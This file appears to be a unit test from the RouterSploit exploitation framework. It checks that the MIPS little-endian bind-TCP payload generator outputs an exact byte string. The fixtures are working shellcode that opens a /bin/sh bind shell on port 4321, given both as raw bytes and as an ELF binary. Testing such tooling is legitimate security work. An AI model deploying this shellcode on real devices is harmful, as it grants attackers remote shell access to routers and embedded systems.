from routersploit.modules.payloads.mipsle.bind_tcp import Payload


# mipsle bind tcp payload with rport=4321
bind_tcp = (
    b"\xe0\xff\xbd\x27\xfd\xff\x0e\x24\x27\x20\xc0\x01\x27\x28\xc0"
    b"\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01\x01\x01\xff\xff"
    b"\x50\x30\xef\xff\x0e\x24\x27\x70\xc0\x01\x10\xe1\x0d\x24\x04"
    b"\x68\xcd\x01\xfd\xff\x0e\x24\x27\x70\xc0\x01\x25\x68\xae\x01"
    b"\xe0\xff\xad\xaf\xe4\xff\xa0\xaf\xe8\xff\xa0\xaf\xec\xff\xa0"
    b"\xaf\x25\x20\x10\x02\xef\xff\x0e\x24\x27\x30\xc0\x01\xe0\xff"
    b"\xa5\x23\x49\x10\x02\x24\x0c\x01\x01\x01\x25\x20\x10\x02\x01"
    b"\x01\x05\x24\x4e\x10\x02\x24\x0c\x01\x01\x01\x25\x20\x10\x02"
    b"\xff\xff\x05\x28\xff\xff\x06\x28\x48\x10\x02\x24\x0c\x01\x01"
    b"\x01\xff\xff\xa2\xaf\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff"
    b"\xa4\x8f\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
    b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff\x06\x28"
    b"\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf\xaf\x73\x68\x0e"
    b"\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf\xf4\xff\xa0\xaf\xec\xff"
    b"\xa4\x27\xf8\xff\xa4\xaf\xfc\xff\xa0\xaf\xf8\xff\xa5\x27\xab"
    b"\x0f\x02\x24\x0c\x01\x01\x01"
)

# elf mipsle bind tcp
elf_mipsle_bind_tcp = (
    b"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00"
    b"\x00\x02\x00\x08\x00\x01\x00\x00\x00\x54\x00\x40\x00\x34\x00"
    b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01"
    b"\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
    b"\x00\x00\x40\x00\x00\x00\x40\x00\x3c\x01\x00\x00\x24\x02\x00"
    b"\x00\x07\x00\x00\x00\x00\x10\x00\x00\xe0\xff\xbd\x27\xfd\xff"
    b"\x0e\x24\x27\x20\xc0\x01\x27\x28\xc0\x01\xff\xff\x06\x28\x57"
    b"\x10\x02\x24\x0c\x01\x01\x01\xff\xff\x50\x30\xef\xff\x0e\x24"
    b"\x27\x70\xc0\x01\x10\xe1\x0d\x24\x04\x68\xcd\x01\xfd\xff\x0e"
    b"\x24\x27\x70\xc0\x01\x25\x68\xae\x01\xe0\xff\xad\xaf\xe4\xff"
    b"\xa0\xaf\xe8\xff\xa0\xaf\xec\xff\xa0\xaf\x25\x20\x10\x02\xef"
    b"\xff\x0e\x24\x27\x30\xc0\x01\xe0\xff\xa5\x23\x49\x10\x02\x24"
    b"\x0c\x01\x01\x01\x25\x20\x10\x02\x01\x01\x05\x24\x4e\x10\x02"
    b"\x24\x0c\x01\x01\x01\x25\x20\x10\x02\xff\xff\x05\x28\xff\xff"
    b"\x06\x28\x48\x10\x02\x24\x0c\x01\x01\x01\xff\xff\xa2\xaf\xfd"
    b"\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f\x21\x28\x20\x02"
    b"\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\x10\x24\xff\xff\x31"
    b"\x22\xfa\xff\x30\x16\xff\xff\x06\x28\x62\x69\x0f\x3c\x2f\x2f"
    b"\xef\x35\xec\xff\xaf\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0"
    b"\xff\xae\xaf\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf"
    b"\xfc\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01\x01"
    b"\x01"
)


def test_payload_generation():
    """ Test scenario - payload generation """

    payload = Payload()
    payload.rport = 4321

    assert payload.generate() == bind_tcp
    assert payload.generate_elf(bind_tcp) == elf_mipsle_bind_tcp
